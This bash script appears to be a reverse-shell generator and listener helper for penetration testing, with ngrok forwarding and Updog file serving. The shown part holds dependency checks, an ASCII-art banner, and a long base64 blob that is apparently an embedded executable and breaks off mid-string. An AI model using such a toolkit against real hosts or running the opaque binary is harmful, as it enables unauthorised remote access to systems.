#!/bin/bash DIR="$1" version="2.0" ### Colors ## ESC=$(printf '\033') RESET="${ESC}[0m" BLACK="${ESC}[30m" RED="${ESC}[31m" GREEN="${ESC}[32m" YELLOW="${ESC}[33m" BLUE="${ESC}[34m" MAGENTA="${ESC}[35m" CYAN="${ESC}[36m" WHITE="${ESC}[37m" DEFAULT="${ESC}[39m" ### Color Functions ## greenprint() { printf "${GREEN}%s${RESET}\n" "$1"; } blueprint() { printf "${BLUE}%s${RESET}\n" "$1"; } redprint() { printf "${RED}%s${RESET}\n" "$1"; } yellowprint() { printf "${YELLOW}%s${RESET}\n" "$1"; } magentaprint() { printf "${MAGENTA}%s${RESET}\n" "$1"; } cyanprint() { printf "${CYAN}%s${RESET}\n" "$1"; } fn_bye() { printf "\n\nShell you later!\n\n"; exit 0; } fn_fail() { echo "That is just not an option!"; mainmenu; } #Header function header () { clear greenprint " ⠀⠀⠀⠀⠀⠀⠘⣿⣿⣷⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣷⣦⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⡿⠟⣛⣩⣭⣭⣭⣭⣿⣿⣿⣿⣶⣤⣀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣠⠞⣡⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀ ⠀⠀⠀⠀⠀⠀⡴⢡⣾⣿⡟⣿⡿⣿⢻⣿⣷⣭⣿⣿⣿⣿⣿⣿⣿⡿⠛⣋⣿⠆ ⠀⠀⠀⠀⠀⠘�⣿⣿⣿⣇⡙⠷⠙⢘⡿⠟⠋⠉⠉⠉⠉⠉⠉⠉⠉⣹⠟�⠀ ⠀⠀⠀⣀⣠⣴⣿⣿⣿⣿⠿⠋⠀⠈�⠀⠀⣧⣦⣦⣄⣦⣠⣤⣤⣾⣷⣶⣤⣄ ⠤⠶⠿⠿⠿⠛⠛⠛⠉⣡⡤⠶⠒⠒⠲⠦⣤�⡙⠻⠟⠟⠿⣯⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣸⠋⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠲⠶⠞⠃⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢿⣄⠀⠀⠀⠀⢀⣠⡤⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢰⠟⠞�⣀⣀⣤⣶⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠈⠀⠀⠆⢉⡛⠿��⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡄⢉⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣧⢸⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹ " } function banner () { clear greenprint " wake up, Christian Lord God Jesus Christ L��.VE'S you follow the white Pigeon. knock, knock, knock, Man Of God. " if [ ! -z "$DIR" ] then PWD="$DIR" fi if [ $usingngrok == 1 ] then if [ $(ps -ef | grep -c ngrok) == 2 ] then echo "🟢 ngrok is forwarding: $public_url to localport: $LOCALPORT" echo else echo "🔴 ngrok is not running" usingngrok=0 fi fi if [ $usingupdog == 1 ] then if [ $(ps -ef | grep -c updog) == 2 ] then echo "🟢 Updog is listening on $updog_port, serving folder: $updog_dir" else echo "🔴 Updog is not running" fi fi echo } #Checking OS OS=$(uname) ngrok_installed=$(which ngrok) if [ "$?" == 1 ] then ngrok_installed=0 else ngrok_installed=1 killall ngrok > /dev/null 2>&1 fi updog_installed=$(which updog) if [ "$?" == 1 ] then updog_installed=0 #cyanprint "$0 has functions for using Updog to upload files. You don't seem to have Updog installed." #yellowprint "Install Updog now? [Y/n]" #read -r -n 1 ans #case $ans in #y) # echo # echo "Installing..." # pip3 install updog # $0;; #n) # ;; #"") # echo # echo "Installing..." # pip3 install updog # $0;; #*) # exit;; #esac else updog_installed=1 if [ $(ps -ef | grep -c updog) == 2 ] then ps -ef | grep updog |cut -d" " -f4| while read -r pid;do kill "$pid";done > /dev/null 2>&1 fi fi if [[ ! $OS == "Darwin" ]] then xclipinstalled=$(which xclip) if [ "$?" == 1 ] then cyanprint "$0 are using xclip for copying revshells to clipboard. You don't seem to have xclip installed." sleep 2 fi fi usingngrok=0 usingupdog=0 #Check dependencies benc=$(which basenc) if [ "$?" == 1 ] then header if [[ $OS == "Darwin" ]] then redprint "$0 depends on basenc from coreutils and cannot continue. Install on MacOS using homebrew: brew install coreutils" yellowprint "Install now? [Y/n]" read -r -n 1 ans case $ans in y) echo echo "Installing..." brew install coreutils $0;; n) exit;; "") echo echo "Installing..." brew install coreutils $0;; *) exit;; esac else redprint "$0 depends on on basenc from coreutils and cannot continue. Install on Debian: sudo apt install coreutils" yellowprint "Install now? [Y/n]" read -r -n 1 ans case $ans in y) echo echo "Installing..." sudo apt install coreutils $0;; n) exit;; "") echo echo "Installing..." sudo apt install coreutils $0;; *) exit;; esac fi exit fi #header if [[ $OS == "Darwin" ]] then sed=$(which gsed) if [ "$?" == 1 ] then redprint "$0 depends on gnu-sed cannot continue. Install on MacOS using homebrew: brew install gnu-sed" yellowprint "Install now? [Y/n]" read -r -n 1 ans case $ans in y) echo echo "Installing..." brew install gnu-sed $0;; n) exit;; "") echo echo "Installing..." brew install gnu-sed $0;; *) exit;; esac else echo fi else sed=$(which sed) fi #Files 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ukAABIjT0STgAAid4xwOhIGgAAv0QRAABIicYxwOiXEwAAhdsPiHgBAABFOfcPhWABAABIjQXipAAAgDgAdFpIjQXApAAATIs4SI29tPv//+jlLwAAD7eNsvv//2bBwQhED7fBTIn/SI01zkoAAESJ8kiJwTHA6ItCAABIjQWEpAAASIs4vjwAAABIjZXA+///SInZ6CERAABIi4UQ+///SGMISf/FSTnND4xD/f//RIu9DPv//4uFCPv//0yNLcVMAAAxyetji4UI+///61uJ30iNtbD7//+6EAAAAOjuQQAAiYUc+///hcB4JUiLvRD7//9Cx0SvBP/////oBTwAALkBAAAAidhEi70M+///6xK5AgAAAESLvQz7//+LhQj7//9MjS1eTAAAhckPhNf7//+D+QJMi60A+///dB7rLUSJ9+iCQQAA6x7oRUEAAMcAPAAAAEyLrQD7//9Ii70Q+///6J47AAC4/////0GJRQBIiw1OYQAASIsJSDtN0HUmSIHEuAUAAFtBXEFdQV5BX13D6LI8AADoTzwAAOhtPAAA6Is8AADo+kAAAOj7QAAAVUiJ5UFXQVZBVUFUU0iB7JgFAABIiwX6YAAASIsASIlF0EiF/w+ECw0AAEmJ9UiF9g+E/wwAAEmJ/0iNPVRFAADHhbT7//8AAAAATIn+TInqMcDoUhgAAL9AEQAASInGMcDooREAAEGLB0iJhaj7//+FwA+IwgwAAMeFlPv//wEAAABBg30EAMeFhPv//wEAAAB0GEGLRQCJhbT7//+JhYT7//+FwA+IlAwAAIuFtPv//0iLjaj7//85yInKD0/Q/8KJlXT7//9IjZWY+///SMcCAAAAAMdCCAAAAABIjRVaogAAxgIAurADAABJjTQXSIm1UPv//74BAAAA0+aJtZD7//9IwekFSImNePv//4nB06WU+///TAHqSImVSPv//8HoBUiJhWj7//+4mAMAAEmNDAdIiY1Y+///TAHoSImFYPv//0yJrYj7//9Mib24+///x4Vw+///EAAAAEiNBfqhAACAOAAPhUMLAABIjQXpoQAAgDgAD4U9CwAAD1fADymFMPv//w8phSD7//8PKYUQ+///DymFAPv//w8phfD6//8PKYXg+v//DymF0Pr//w8phcD6//8PKYVA+v//DymFUPr//w8phWD6//8PKYVw+v//DymFgPr//w8phZD6//8PKYWg+v//DymFsPr//0GDv8ADAAAAdAVFMfbrTUiNPdJDAAAxwOidFgAAv0ARAABIicYxwOjsDwAASIu9qPv//0iNtcD6//8x0uisPgAAQbYBhcB0FIuFkPv//0iLjXj7//8JhI3A+v//QYO9wAMAAAB0BUUx9uthSI09rEMAADHA6EEWAAC/QBEAAEiJxjHA6JAPAABIjQW+oAAAgDgAdQxIjQXWoAAAgzgDdSyLvbT7//9IjbXA+v//MdLoOT4AAIXAdBSLhZT7//9Ii41o+///CYSNwPr//0GDv6gDAAAAfmBIg72Y+///AHVWg72g+///AHVNSI09ZUMAADHA6MMVAAC/QBEAAEiJxjHA6BIPAABIi72o+///SI21QPr//zHS6NI9AABBtgGFwHQUi4WQ+///SIuNePv//wmEjUD6//9Ii52Y+///RIu9oPv//7ABiYWw+///RYT2D4XUAAAASIXbD4XLAAAARYX/D4XCAAAAQbQBTIu9uPv//0GLncADAACF2w+OfwIAAEiNPdpDAACJ3jHA6CoVAAC/QBEAAEiJxjHA6HkOAABFi6+oAwAARYXtD4T8AQAASIuFSPv//0iDOAAPhUYCAABMi72I+///QYu3wAMAAEiNPetDAAAxwOjeFAAAv0ARAABIicYxwOgtDgAATWO3wAMAAEyJ9+jFPQAASInDSYmHsAMAAEmLt7gDAABIicdMifLorz0AAEmJn7gDAABMi724+///6dYBAAAx/+h5FQAASIu1mPv//4uVoPv//0iNPVZCAAAxwOhvFAAAv0IQAABIicYxwOi+DQAAg72g+///AEyNpZj7//9NieC4AAAAAEwPRMBIg72Y+///AE0PRcSLvXT7//9IjbXA+v//SI2VQPr//zHJ6Gw9AABBicZIiZ2Y+///RIm9oPv//0yJ5+j1FAAARYX2D4iBAgAATIu9uPv//3UVSMeFmPv//wAAAADHhaD7//8AAAAARTHkSI099UEAAESJ9jHA6MsTAAC/QhAAAEiJxjHA6BoNAACLvbT7//9IjbXA+v//MdLo2zsAAIXAD4RX/v//i4WU+///SIuNaPv//4WEjcD6//8PhBcEAAC6AAQAAIu9tPv//0iNtdD7///opDwAAEiJw0iNPY1BAACJ3jHA6FwTAAC/RBEAAEiJxjHA6KsMAACF2w+I7wcAAA+EzwYAAEGJncADAABJx4WwAwAAAAAAAEiNhdD7//9JiYW4AwAAsAGJhbD7//9FMeTp1f3//0iLhYj7//+LsMADAABIjT3KQQAAMcDo9BIAAL9AEQAASInGMcDoQwwAAEiLjUj7//9Ii0EQSIuVWPv//0iJQhAPEAEPEQIPV8APEQFIx0EQAAAAAEWLr6gDAABFhe0PjgYCAABNi7+gAwAASI090EEAAESJ7jHA6JMSAAC/QBEAAEiJxjHA6OILAABIjQVAnQAASGMASIXAdD1Ig72Y+///AA+FFAEAAIO9oPv//wAPhQcBAABFie0xyUk5zXQRSI1RAUGAPA8KSInRde1BidVIiYWY+///SWPVSIu9qPv//0yJ/ujfOwAASInDhdt5EOhTOgAAMduDOCMPhb4GAACJ2EgBBaGcAABIjT1kQQAAid5MifoxwOjzEQAAv0QRAABIicYxwOhCCwAARDnrfSVIjT1WQQAARInuidoxwOjMEQAAv0ARAABIicYxwOgbCwAAQYndSI0FdJwAAIA4AHRrTI01UpwAAEmLPkiNNVdBAACJ2jHA6D86AABJiz5JY92+PgAAAEyJ+kiJ2ejdCAAA6zzosDkAALEBiY2w+///gzgETIu9uPv//0iNHROcAAAPhKcEAADp8wUAAEyLvbj7//9Bi7eoAwAA6yJJY91Mi724+///QYu3qAMAAEQp7kGJt6gDAABJAZ+gAwAASI098UAAADHA6BMRAAC/QBEAAEiJxjHA6GIKAABJY5+oAwAASYu/mAMAAEiF23QySIX/dUdIid/o6TkAAEmJxkmJh5gDAABJi7egAwAASInHSIna6NM5AABNibegAwAA6xroazkAAEiLhVj7//8PV8APEQBIx0AQAAAAAEWE5HQMTIutiPv//+lbAQAASIu9qPv//0iNtcD6//8x0uiyOAAAhcBMi62I+///D4Q3AQAAi4WQ+///SIuNePv//4WEjcD6//8PhB0BAABBg38MAnVxSI0FCpsAAIA4AHRlD1fADymFwPv//7oABAAASIu9qPv//0iNtdD7//8xyUyNhcD7//9MjY1w+///6FI5AABJicdIjb3E+///6OElAAAPt43C+///ZsHBCA+3yUiNPe4/AABEif5IicIxwOjgDwAA6yy6AAQAAEiLvaj7//9Ijb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n+SIsFnkYAAEiLAEiJRdCJveTw//9IibXY8P//D1fADylFgA8pRZAPKUWgDylFsA8RRbxIjb0I/v//vngBAADoJCYAAEiNvZD8//++eAEAAOgTJgAATI29yPj//77IAwAATIn/6P8lAABIjZ0A9f//vsgDAABIid/o6yUAAEiNvTjx//++yAMAAOjaJQAAuAIAAABBiUcEiUMESI2dwPD//0jHQwgAAAAASI0FtgwAAEiJA78CAAAASIneMdLo2CYAAEiNBSkNAABIiQO/DwAAAEiJ3jHS6L8mAABIjQWCDQAASIkDvx4AAABIid4x0uimJgAASMcDAQAAAL8NAAAASIneMdLokCYAAL8QAAAASIneMdLogSYAAEGD/gF1E0iNveTw//9IjbXY8P//6Mj6//9IjR1hOwAATI01nkUAAEyNvejw//9MjS1ICwAAx4Xo8P//AAAAAIu95PD//0iLtdjw//9IidpMifFNifjoiyUAAI1IuYP5M3d7SWNEjQBMAej/4IM9ZocAAAB0E78IEgAASI01YTsAADHA6Pj1//+APVWHAAAAdBO/CBIAAEiNNXo7AAAxwOjc9f//SIsFAkUAAEiLOL46AAAA6O0lAABJicRIhcAPhKUCAABBgHwkAQAPhJkCAABBxgQkAEn/xOmfAgAAg/gBdCSD+P8PhBoDAABIi4XY8P//SIsQvwgAAABIjTU+PAAA6VcCAADHBamGAAABAAAA6SD///+DPb2GAAADdRO/CBIAAEiNNe06AAAxwOhP9f//xgWshgAAAen4/v//SIsFaUQAAEiLMEiNfYAx0uj3EQAAhMAPhdv+//9IiwVMRAAASIsQvwgSAABIjTU7OwAA6egBAABIiwUxRAAASIswSI29CP7//+jkDAAAhMAPhaL+//9IiwUTRAAASIsQvwgSAABIjTU5OwAA6a8BAABIiwX4QwAASIswSI29APj//zHS6IMRAACEwA+FZ/7//0iLBdhDAABIixC/CBIAAEiNNd46AADpdAEAAEiLBb1DAABIizBIjb0Q9f//6HAMAACEwA+FLv7//0iLBZ9DAABIixC/CBIAAEiNNeU6AADpOwEAAMYFuYUAAAHpB/7//8YFqIUAAAHp+/3//0iDPbuFAAAAdBO/CBIAAEiNNVU5AAAxwOgp9P//SIsFT0MAAEiLOOhFJAAASIkFkIUAAOnD/f//SIsFNEMAAEyLIEyJ5+j7IgAAiQVbhQAAhcAPj6P9//+/CBIAAEiNNSk5AADptwAAAMYFNYUAAAHphv3//0iLBfdCAABIizjo7SMAAEiJBTCFAADGBReFAAAB6WT9///GBQiFAAAB6Vj9///GBfqEAAAB6Uz9//+DPemEAAAAdBO/CBIAAEiNNeQ4AAAxwOh78///xwXKhAAAAgAAAOkh/f//xwWbhAAAAgAAAOkS/f///wXAhAAA6Qf9//9IiwV4QgAATIsgTInn6D8iAACJBaeEAACFwA+P5/z//78IEgAASI01zzkAAEyJ4jHA6Bzz///pzPz//78IEgAASI01yTgAADHA6ATz//9IiwUqQgAASIswSI29iPb//+jdCgAAhMB1HUiLBRBCAABIixC/CBIAAEiNNbg4AAAxwOjN8v//SI29TPj//0yJ5jHS6IUPAACEwHUWvwgSAABIjTW4OAAATIniMcDoovL//4sF1YMAAImFDPX//4sF/YMAAImFCPX//8cF2YMAAAMAAADpMPz//4A92IMAAAB0HUiDPeeDAAAAdBNIjTVGOQAAvwgSAAAxwOhV8v//v///AADopu3//4A9pIMAAAB0DjH/6IQiAACJx+hNIgAASIs9ooMAAEiF/3Q8SI01LTkAAOhjIQAASIkFYoMAAEiFwHU16OYgAACLOOg1IgAASI01CzkAAL8IEgAASInCMcDo7vH//+sRSIsF+kAAAEiLAEiJBSiDAACLteTw//9Iix0DQQAAixNIjT3yOAAAMcDoYPj//79AEQAASInGMcDor/H//0hjAzuF5PD//w+NWwEAAEiLjdjw//+NUAGJE0yLNMFIjb2Q/P//TIn26HAJAACEwA+FNAEAAEiNNdg4AAC/CBIAAEyJ8jHA6GPx///pGQEAAEiLjdjw//+NUAGJE0iYTIs8wUyJ/+hvIQAASYnESInHvi0AAADoWSEAAEiJw0iFwHUZTInnvjoAAADoRCEAAEiJw0iFwA+ElQAAAMYDAEGAPCQAdCNIjb3o8P//TInmMdLowQ0AAITAD4S+BQAARA+3tTDx///rA0Ux9kj/w4A7AHQjSI296PD//0iJ3jHS6JMNAACEwA+EkAUAAEQPt60w8f//6wZBvf//AABBgDwkAHUJgDsAD4RwBQAARTnud0lB/8VBjV4BQQ+3/r4BAAAA6E/s//9Bid5BOd115usqSI296PD//0yJ5jHS6DYNAACEwA+EMwUAAA+3vTDx//++AQAAAOgb7P//TInn6J8fAABIix16PwAAiwM7heTw//8PjNn+///oZu3//0iNPcs3AACJxjHA6MT2//+/RBEAAEiJxjHA6BPw//+DPWWBAAACD4JCAQAAgD1jgQAAAHQOMf/oBx8AAMYFJIEAAACLBSKBAABIjZ3Y+P//iUP8iwVGgQAAiUP4SI21CP7//7p4AQAASInf6G8fAAAPKEWADyhNkA8oVaAPKF2wDxGD8AIAAA8RiwADAAAPEZMQAwAADxGbIAMAAA8QRbwPEYMsAwAASI29UPr//0iNtZD8//+6eAEAAOggHwAASI29yPj//+jG1P//hcB5OYA9wIAAAAB0DugwHgAAgzg8D4QTBAAA6CIeAACLOOhxHwAASI01BDcAAL8YAAAASInCMcDoKu///4sFfYAAAIP4Ag+FqQIAAEiDPZCAAAAAdB9IjTXsNgAAvyAAAAAxwOj+7v//SI29yPj//+gUBgAASI29yPj//0iNtTjx///o19z//0iNPeM2AAAxwOhz9f//v0QRAABIicbpsgIAAMcFE4AAAAEAAACDvfD9//8AdTdIi4XY8P//SIsQSI01HjcAADH/McDol+7//0iLhdjw//9IixBIjTVFNQAAvwgAAAAxwOh67v//6Knr//+FwA+ETwIAAA+OXAIAADHJg/gBD5XBweEEg8EQiY3U8P//Qb